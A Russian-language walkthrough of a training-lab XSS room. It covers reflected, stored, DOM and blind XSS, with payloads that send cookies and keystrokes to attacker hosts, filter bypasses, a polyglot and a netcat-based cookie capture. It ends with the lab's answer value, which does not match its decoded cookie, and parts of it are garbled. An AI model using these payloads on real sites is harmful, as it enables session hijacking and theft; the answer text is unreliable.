День 33 - XSS
Узнайте, как обнаруживать и использовать XSS-уязвимости, что позволит вам контролировать браузеры других посетителей.
1. Краткое описание
Предварительные требования:
Следует отметить, что, поскольку XSS основана на JavaScript, полезно иметь базовое понимание этого языка. Однако ни один из примеров не является чрезмерно сложным — также необходимо базовое понимание запросов и ответов в архитектуре клиент-сервер.
Межсайтовый скриптинг, более известный в сообществе кибербезопасности как XSS , классифицируется как инъекционная атака, при которой вредоносный JavaScript внедряется в веб-приложение с целью его выполнения другими пользователями. В этом классе вы узнаете о различных типах XSS , как создавать полезные нагрузки XSS , как модифицировать полезные нагрузки для обхода фильтров, а затем завершите занятие практическим уроком, где сможете проверить свои новые навыки.
Уязвимости межсайтового скриптинга (XSS) встречаются крайне часто. Ниже приведены несколько сообщений об обнаружении XSS в крупных приложениях; за обнаружение и сообщение об этих уязвимостях можно хорошо зарабатывать.
2. XSS-заряды
В XSS полезная нагрузка — это JavaScript-код, который мы хотим выполнить на целевом компьютере. Полезная нагрузка состоит из двух частей: намерения и модификации.
Цель — это то, что вы хотите, чтобы JavaScript фактически сделал (мы рассмотрим это на нескольких примерах ниже), а модификация — это изменения в коде, необходимые для его выполнения, поскольку каждый сценарий индивидуален (подробнее об этом в разделе «Совершенствование полезной нагрузки»).
Вот несколько примеров намерений XSS-атак .
Это простейший тип вредоносных программ, цель которого — продемонстрировать возможность XSS-атаки на веб-сайт. Часто это достигается путем появления на странице всплывающего окна с текстом, например:
<script>alert('XSS');</script>
Информация о сессии пользователя, например, токены авторизации, часто хранится в файлах cookie на компьютере жертвы. Приведенный ниже JavaScript-код берет файл cookie жертвы, кодирует его в base64 для обеспечения успешной передачи, а затем отправляет на веб-сайт, контролируемый хакером, для регистрации. Получив эти файлы cookie, хакер может перехватить сессию жертвы и войти в систему от имени этого пользователя.
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
Приведённый ниже код действует как кейлоггер. Это означает, что всё, что вы набираете на веб-странице, будет перенаправлено на веб-сайт, находящийся под контролем хакера. Это может быть очень опасно, если веб-сайт, на который была установлена вредоносная программа, принимает данные для входа в систему или данные кредитных карт.
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
Этот набор данных гораздо более специфичен, чем приведенные выше примеры. Речь идет о вызове конкретного сетевого ресурса или функции JavaScript. Например, представьте себе функцию JavaScript для изменения адреса электронной почты пользователя, которая называется ` user.changeEmail().`. Ваш набор данных может выглядеть так:
<script>user.changeEmail('attacker@hacker.thm');</script>
Теперь, когда адрес электронной почты учетной записи изменился, злоумышленник может осуществить атаку по сбросу пароля.
Следующие четыре задания будут посвящены различным типам XSS- уязвимостей, для выполнения которых потребуются несколько разные полезные нагрузки атаки и взаимодействие с пользователем.
Вопрос: Какое свойство документа может содержать токен сессии пользователя?
Вопрос: Какой метод JavaScript чаще всего используется в качестве доказательства концепции?
3. Отражённая XSS
Отраженная XSS-атака происходит, когда предоставленные пользователем данные в HTTP- запросе включаются в исходный код веб-страницы без какой-либо проверки.
Веб-сайт, где при вводе некорректных данных отображается сообщение об ошибке. Содержимое сообщения об ошибке берется из параметра error в строке запроса и напрямую встраивается в исходный код страницы.
Приложение не проверяет содержимое параметра ошибки , что позволяет злоумышленнику внедрить вредоносный код.
Уязвимость может быть использована в соответствии со сценарием, показанным на изображении ниже:
Злоумышленник может отправлять потенциальным жертвам ссылки или встраивать их в iframe на другом веб-сайте, содержащий JavaScript-код, заставляя их выполнять код в браузере, что потенциально может раскрыть информацию о сессии или клиенте.
Как проверить наличие отраженной XSS-атаки :
Вам потребуется проверить все возможные точки входа, включая:
- Параметры в строке запроса URL
- URL-адрес пути к файлу
- Иногда это происходит из-за HTTP- заголовков (хотя на практике это вряд ли удастся использовать в своих целях).
После того, как вы найдете данные, которые отображаются в веб-приложении, вам нужно будет убедиться, что вы можете успешно запустить свой JavaScript-код; ваш код будет зависеть от того, где именно в приложении он отображается (подробнее об этом вы узнаете в задании 6).
Вопрос: В каком месте URL-адреса лучше всего проверять наличие отраженной XSS-атаки?
4. Сохраненная XSS-атака
Сохраненная XSS-атака
Как следует из названия, полезная нагрузка XSS хранится в веб-приложении (например, в базе данных), а затем запускается, когда другие пользователи посещают сайт или веб-страницу.
веб-сайт блога, позволяющий пользователям оставлять комментарии. К сожалению, эти комментарии не проверяются на наличие JavaScript или не фильтруются на наличие вредоносного кода. Если мы оставим комментарий, содержащий JavaScript, он будет сохранен в базе данных, и у каждого другого пользователя, посещающего статью, этот JavaScript будет запущен в браузере.
вредоносный JavaScript может перенаправлять пользователей на другой сайт, красть сессионный cookie-файл пользователя или выполнять другие действия на веб-сайте, выдавая себя за посетителя.
Как проверить наличие хранимых XSS-атак :
Вам потребуется проверить все возможные точки входа, где, по всей видимости, хранятся данные, а затем отображаются в областях, к которым имеют доступ другие пользователи; в качестве небольшого примера можно привести:
Иногда разработчики считают, что ограничение входных значений на стороне клиента является достаточной защитой, поэтому изменение значений на такие, которые веб-приложение не ожидает, может стать хорошим источником обнаружения скрытых XSS-атак . Например, поле «возраст», которое ожидает целое число из выпадающего меню, но вместо этого вы отправляете запрос вручную, а не используете форму, что позволяет вам попробовать вредоносные программы.
После того, как вы найдете данные, хранящиеся в веб-приложении, вам потребуется убедиться, что вы можете успешно запустить свой JavaScript-код; ваш код будет зависеть от того, где именно в приложении он отображается (подробнее об этом вы узнаете в задании 6).
5. XSS на основе DOM
XSS на основе DOMЧто такое DOM?
DOM расшифровывается как Document Object Model ( объектный объект документа ) и представляет собой программный интерфейс для HTML и XML документов. Он отображает страницу, позволяя программам изменять структуру, стиль и содержимое документа. Веб-страница — это документ, который может отображаться либо в окне браузера, либо в виде исходного HTML-кода. Диаграмма HTML DOM представлена ниже:
Если вы хотите узнать больше о DOM и получить более глубокое понимание, на сайте w3.org есть отличный ресурс.
DOM-ориентированная XSS — это уязвимость, при которой выполнение JavaScript происходит непосредственно в браузере без загрузки новых страниц или передачи данных в бэкэнд-код. Выполнение происходит, когда JavaScript-код веб-сайта реагирует на ввод или взаимодействие с пользователем.
JavaScript веб-сайта получает содержимое из window.location.hash параметра и затем записывает его на страницу в текущий просматриваемый раздел. Содержимое хеша не проверяется на наличие вредоносного кода, что позволяет злоумышленнику внедрить JavaScript по своему выбору на веб-страницу.
Специально созданные ссылки могут быть отправлены потенциальным жертвам, перенаправляя их на другой веб-сайт или похищая контент со страницы или из сессии пользователя.
Как проверить наличие XSS-атак на основе DOM :
Проверка уязвимостей типа DOM-based XSS может быть сложной и требует определенных знаний JavaScript для чтения исходного кода. Необходимо искать участки кода, которые обращаются к определенным переменным, над которыми злоумышленник может иметь контроль, например, к параметрам " window.location.x ".
Обнаружив эти фрагменты кода, вам нужно будет посмотреть, как они обрабатываются и записываются ли значения в DOM веб-страницы или передаются небезопасным методам JavaScript, таким как eval() .
Вопрос: Какой небезопасный метод JavaScript следует искать в исходном коде?
6. Слепой XSS
Слепой XSS
Слепая XSS-атака похожа на хранимую XSS- атаку (которую мы рассматривали в задании 4) тем, что ваша полезная нагрузка сохраняется на веб-сайте для просмотра другим пользователем, но в этом случае вы не можете увидеть работу полезной нагрузки или протестировать ее на себе.
На веб-сайте есть форма обратной связи, где вы можете отправить сообщение сотруднику. Содержимое сообщения не проверяется на наличие вредоносного кода, что позволяет злоумышленнику ввести все, что он пожелает. Затем эти сообщения преобразуются в заявки в службу поддержки, которые сотрудники просматривают на частном веб-портале.
Используя правильную полезную нагрузку, JavaScript злоумышленника может отправлять запросы на веб-сайт злоумышленника, раскрывая URL-адрес портала для сотрудников, файлы cookie сотрудника и даже содержимое просматриваемой страницы портала. Теперь злоумышленник потенциально может перехватить сессию сотрудника и получить доступ к частному порталу.
Как проверить наличие слепой XSS-атаки :
При тестировании на наличие скрытых XSS- уязвимостей необходимо убедиться, что ваша полезная нагрузка содержит обратный вызов (обычно это HTTP- запрос). Таким образом, вы будете знать, выполняется ли ваш код и когда именно.
Популярным инструментом для слепых XSS- атак является XSS Hunter Express . Хотя можно создать собственный инструмент на JavaScript, этот инструмент автоматически будет собирать cookie, URL-адреса, содержимое страниц и многое другое.
Вопрос: Какой инструмент можно использовать для проверки наличия слепых XSS-атак?
7. Совершенствование вашей полезной нагрузки
Полезная нагрузка — это JavaScript-код, который мы хотим выполнить либо в браузере другого пользователя, либо в качестве демонстрации уязвимости на веб-сайте.
Ваша полезная нагрузка может иметь множество целей: от простого отображения всплывающего окна с предупреждением JavaScript, чтобы доказать возможность выполнения JavaScript на целевом веб-сайте, до извлечения информации из веб-страницы или пользовательской сессии.
То, как ваша полезная нагрузка JavaScript будет отражена в коде целевого веб-сайта, определит, какую полезную нагрузку вам нужно использовать. Чтобы это объяснить, нажмите зеленую кнопку «Запустить машину» справа, и после загрузки машины откройте ссылку ниже в новой вкладке.
https://LAB_WEB_URL.p.thmlabs.com
Цель каждого уровня — выполнить функцию alert на JavaScript со строкой THM , например:
<script>alert('THM');</script>
Вам будет предложена форма с просьбой ввести ваше имя. После ввода имя отобразится на отдельной строке ниже, например:
Пробуем пайлод <script>alert('THM');</script>
Если вы посмотрите исходный код страницы, вы увидите, что ваше имя отражено в коде:
Вместо того чтобы вводить ваше имя, мы попробуем ввести следующий JavaScript-код: <script>alert('THM');</script>
Теперь, когда вы нажмете кнопку Enter, появится всплывающее окно с сообщением THM , а исходный код страницы будет выглядеть следующим образом:
Затем вы получите подтверждающее сообщение об успешной загрузке данных со ссылкой на следующий уровень.
Как и на предыдущем уровне, вас снова попросят ввести ваше имя. На этот раз при нажатии клавиши Enter ваше имя будет отображаться в поле ввода:
"><script>alert('THM');</script>
Просматривая исходный код страницы, вы можете увидеть свое имя, отраженное в атрибуте value тега input:
Предыдущий JavaScript-код не сработает, потому что его нельзя запустить внутри тега `<input>`. Вместо этого нам нужно сначала экранировать тег `<input>`, чтобы код работал корректно. Это можно сделать с помощью следующего кода:"><script>alert('THM');</script>
Важная часть полезной нагрузки — это блок ">, который закрывает параметр значения, а затем закрывает входной тег.
Теперь тег input закрывается корректно и позволяет выполнить JavaScript-код:
Теперь, когда вы нажмете кнопку Enter, появится всплывающее окно с сообщением THM. Затем вы получите подтверждение об успешном выполнении операции с ссылкой на следующий уровень.
Вам предлагается еще одна форма с запросом вашего имени, и, как и на предыдущем уровне, ваше имя отображается внутри HTML-тега, на этот раз тега textarea.
</textarea><script>alert('THM');</script>
Экранирование тега textarea будет осуществляться несколько иначе, чем в случае с тегом input (на втором уровне), с использованием следующей полезной нагрузки:</textarea><script>alert('THM');</script>
В результате получается вот это:
Важная часть приведенного выше кода — это `<textarea>` </textarea>, которая приводит к закрытию элемента `textarea`, чтобы скрипт мог запуститься.
Теперь, когда вы нажмете кнопку Enter, появится всплывающее окно с сообщением THM. Затем вы получите подтверждение об успешном выполнении операции с ссылкой на следующий уровень. Уровень четыре:
Введя свое имя в форму, вы увидите, как оно отображается на странице. Этот уровень выглядит аналогично первому, но при изучении исходного кода страницы вы увидите, что ваше имя отображается в некотором коде JavaScript.
Вам потребуется экранировать существующую команду JavaScript, чтобы запустить свой код; это можно сделать с помощью следующего полезного содержимого, ';alert('THM');// которое, как видно на скриншоте ниже, выполнит ваш код. 'Закрывает поле, указывающее имя, затем ;обозначает конец текущей команды, а //в конце всё, что следует за ней, становится комментарием, а не исполняемым кодом.
Теперь, когда вы нажмете кнопку Enter, появится всплывающее окно с сообщением THM. Затем вы получите подтверждение об успешном выполнении операции с ссылкой на следующий уровень.
<sscriptcript>alert('THM');</sscriptcript>Этот уровень выглядит так же, как и первый, и ваше имя отображается в том же месте. Но если вы попытаетесь ввести <script>alert('THM');</script>данные, это не сработает. Когда вы посмотрите исходный код страницы, вы поймете почему.
Слово script удаляется из вашего кода, потому что фильтр отфильтровывает все потенциально опасные слова.
Когда слово удаляется из строки, есть полезный приём, который можно попробовать.
<sscriptcript>alert('THM');</sscriptcript>
Текст, который необходимо удалить (фильтром):
<sscriptcript>alert('THM');</sscriptcript>
Итоговая полезная нагрузка (после прохождения фильтра):
<script>alert('THM');</script>
Попробуйте ввести данные <sscriptcript>alert('THM');</sscriptcript>и нажмите кнопку Enter. Появится всплывающее окно с сообщением THM . Затем вы получите подтверждение успешной загрузки данных со ссылкой на следующий уровень.
Аналогично второму уровню, где нам нужно было экранировать атрибут value тега input, мы можем попробовать "><script>alert('THM');</script> , но это, похоже, не работает. Давайте изучим исходный код страницы, чтобы понять, почему это не работает.
Как видите, символы < и > отфильтровываются из нашего полезного содержимого, что не позволяет нам выйти за пределы тега IMG. Чтобы обойти этот фильтр, мы можем воспользоваться дополнительными атрибутами тега IMG, такими как событие onload. Событие onload выполняет выбранный вами код после того, как изображение, указанное в атрибуте src, загрузится на веб-страницу.
Давайте изменим наше полезное содержимое, чтобы это отразить /images/cat.jpg" onload="alert('THM');, а затем посмотрим исходный код страницы, и вы увидите, как это работает.
Теперь, когда вы нажмете кнопку Enter, появится всплывающее окно с сообщением THM . Затем вы получите подтверждение об успешном выполнении вашей полезной нагрузки; поскольку это последний уровень, вы получите флаг, который можно ввести ниже.
XSS-полиглот — это текстовая строка, которая может экранировать атрибуты, теги и обходить фильтры одновременно. Вы могли бы использовать приведенный ниже полиглот на всех шести уровнях, которые вы только что прошли, и код успешно бы выполнился.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
Похоже на второй уровень, где нам нужно было выбраться из атрибута value тега input
Нажмите Enter или кликните, чтобы увидеть изображение в полном размере
Можно попробовать "><script>alert('THM');</script>
Нажмите Enter или кликните, чтобы увидеть изображение в полном размере
"><script>alert('THM');</script>
Нажмите Enter или кликните, чтобы увидеть изображение в полном размере
но это, кажется, не работает. Давайте посмотрим исходный код страницы, чтобы понять, почему.
Нажмите Enter или кликните, чтобы увидеть изображение в полном размере
Видно, что символы < и > отфильтровываются из нашей полезной нагрузки, что не позволяет нам выйти из тега IMG. Чтобы обойти фильтр, мы можем воспользоваться дополнительными атрибутами тега IMG, например, событием onload. Событие onload выполняет выбранный вами код, как только изображение, указанное в атрибуте src, загрузится на веб-страницу.
Давайте изменим нашу полезную нагрузку соответствующим образом: /images/cat.jpg" onload="alert('THM');
Нажмите Enter или кликните, чтобы увидеть изображение в полном размере
/images/cat.jpg" onload="alert('THM');
А теперь, взглянув на исходный код страницы, вы увидите, как это сработает.
Нажмите Enter или кликните, чтобы увидеть изображение в полном размере
Теперь, когда вы нажмете кнопку ввода, появится всплывающее окно с предупреждением, содержащим строку THM.
Нажмите Enter или кликните, чтобы увидеть изображение в полном размере
После этого вы получите подтверждение, что ваша полезная нагрузка сработала.
Нажмите Enter или кликните, чтобы увидеть изображение в полном размере
Поскольку это последний уровень, вы получите флаг, который можно ввести ниже.
/images/cat.jpg" onload="alert('THM');
8. Практический пример (слепая XSS-атака)
В качестве последнего задания мы рассмотрим уязвимость Blind XSS . Убедитесь, что вы завершили работу предыдущей машины, а затем нажмите зеленую кнопку «Запустить машину» справа, чтобы загрузить веб-сайт Acme IT Support. Вам потребуется использовать AttackBox, нажав синюю кнопку вверху страницы. После загрузки откройте ссылку ниже в браузере Firefox, установленном в AttackBox, чтобы просмотреть целевой веб-сайт.
https://LAB_WEB_URL.p.thmlabs.com
Видим что есть форма с заявками - создания тикетов
Создаем заявку и перехватывае её через бурп
В верхней панели навигации перейдите на вкладку «Клиенты» и нажмите ссылку « Зарегистрироваться здесь », чтобы создать учетную запись. После создания учетной записи перейдите на вкладку «Заявки в службу поддержки» , именно эту функцию мы будем исследовать на предмет уязвимостей.
Попробуйте создать заявку в службу поддержки, нажав зеленую кнопку «Создать заявку», укажите в теме и содержимом только слово «тест», а затем нажмите синюю кнопку «Создать заявку». Теперь вы увидите свою новую заявку в списке с идентификационным номером, нажав на который вы перейдете к созданной заявке.
Как и в третьем задании, мы исследуем, как ранее введенный текст отображается на странице. При просмотре исходного кода страницы мы видим, что текст помещается внутрь тега textarea.
Теперь давайте вернёмся и создадим ещё один тикет. Посмотрим, сможем ли мы экранировать тег textarea, введя в содержимое тикета следующую информацию:
Снова открыв заявку и просмотрев исходный код страницы, мы успешно экранировали тег textarea.
Теперь давайте расширим этот набор данных, чтобы проверить, можем ли мы запустить JavaScript и подтвердить, что функция создания заявки уязвима для XSS-атаки. Попробуйте создать еще одну заявку со следующим набором данных:
</textarea><script>alert('THM');</script>
Теперь при просмотре заявки должно появиться всплывающее окно с сообщением THM . Мы собираемся еще больше расширить полезную нагрузку и усилить воздействие уязвимостей. Поскольку эта функция создает заявку в службу поддержки, мы можем быть достаточно уверены, что сотрудник также увидит эту заявку, и мы сможем получить доступ к ней для выполнения JavaScript.
Полезной информацией для извлечения данных из другого пользователя могут быть его cookie-файлы, которые мы могли бы использовать для повышения своих привилегий путем перехвата его сеанса входа в систему. Для этого нашей полезной нагрузке потребуется извлечь cookie-файл пользователя и передать его на другой веб-сервер по нашему выбору. Сначала нам нужно будет настроить сервер для приема этой информации.
Используя AttackBox, настроим сервер прослушивания с помощью Netcat. Если мы хотим прослушивать порт 9001, выполним команду `netcat -i` nc -l -p 9001. -lОпция `-i` указывает, что мы хотим использовать Netcat в режиме прослушивания, а опция `-i` -pиспользуется для указания номера порта. Чтобы избежать разрешения имен хостов через DNS, можно добавить `-i` -n; кроме того, для обнаружения ошибок рекомендуется запускать Netcat в подробном режиме, добавив опцию `-i` -v. Итоговая команда станет nc -n -l -v -p 9001`netcat -i`, что эквивалентно `netcat -i` nc -nlvp 9001.
user@machine$ nc -nlvp 9001 Listening on [0.0.0.0] (family 0, port 9001)
Теперь, когда мы настроили способ приема украденной информации, давайте создадим полезную нагрузку.
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>
Тут я щелкнул для проверки и прилетели мои куки, ждем теперь когда админ откроет тикет посмотреть.
Оказывается есть косяк у них с атоматизацией если вы сидите через свою машину + впн = нужно для решения запустить их тачку на сайте и повторить дейсвтия и в итоге будет успех
Примечание: При использовании вашей собственной виртуальной машины и VPN могут возникнуть проблемы с получением запроса . Рекомендуется использовать для этой задачи AttackBox.
c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ==
Давайте разберем полезную нагрузку:
- Этот
</textarea>тег закрывает текстовое поле. - Этот
<script>тег открывает область для написания кода JavaScript. - Эта
fetch()команда выполняет HTTP-запрос. URL_OR_IPЭто либо URL-адрес перехватчика запросов THM, либо ваш IP-адрес с устройства THM AttackBox, либо ваш IP-адрес в сети VPN THM.PORT_NUMBER— это номер порта, который вы используете для прослушивания подключений на AttackBox.?cookie=Это строка запроса, содержащая файлы cookie жертвы.btoa()Команда base64 кодирует файлы cookie жертвы.document.cookieполучает доступ к файлам cookie жертвы для веб-сайта ИТ-поддержки Acme.</script>Закрывает блок кода JavaScript.
Теперь создайте еще один тикет, используя указанную выше полезную нагрузку, убедившись, что вы заменили URL_OR_IP:PORT_NUMBER переменные своими настройками (не забудьте также указать номер порта для прослушивателя Netcat). Теперь подождите около минуты, и вы увидите, что пришел запрос, содержащий куки жертвы.
Теперь вы можете расшифровать эту информацию в формате base64, используя такой сайт, как https://www.base64decode.org/ , что даст вам необходимые данные для ответа на приведенный ниже вопрос.
Вопрос: Какова ценность cookie-файла для сессии персонала?
Ответ:4AB305E55955197693F01D48FD2D361
Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!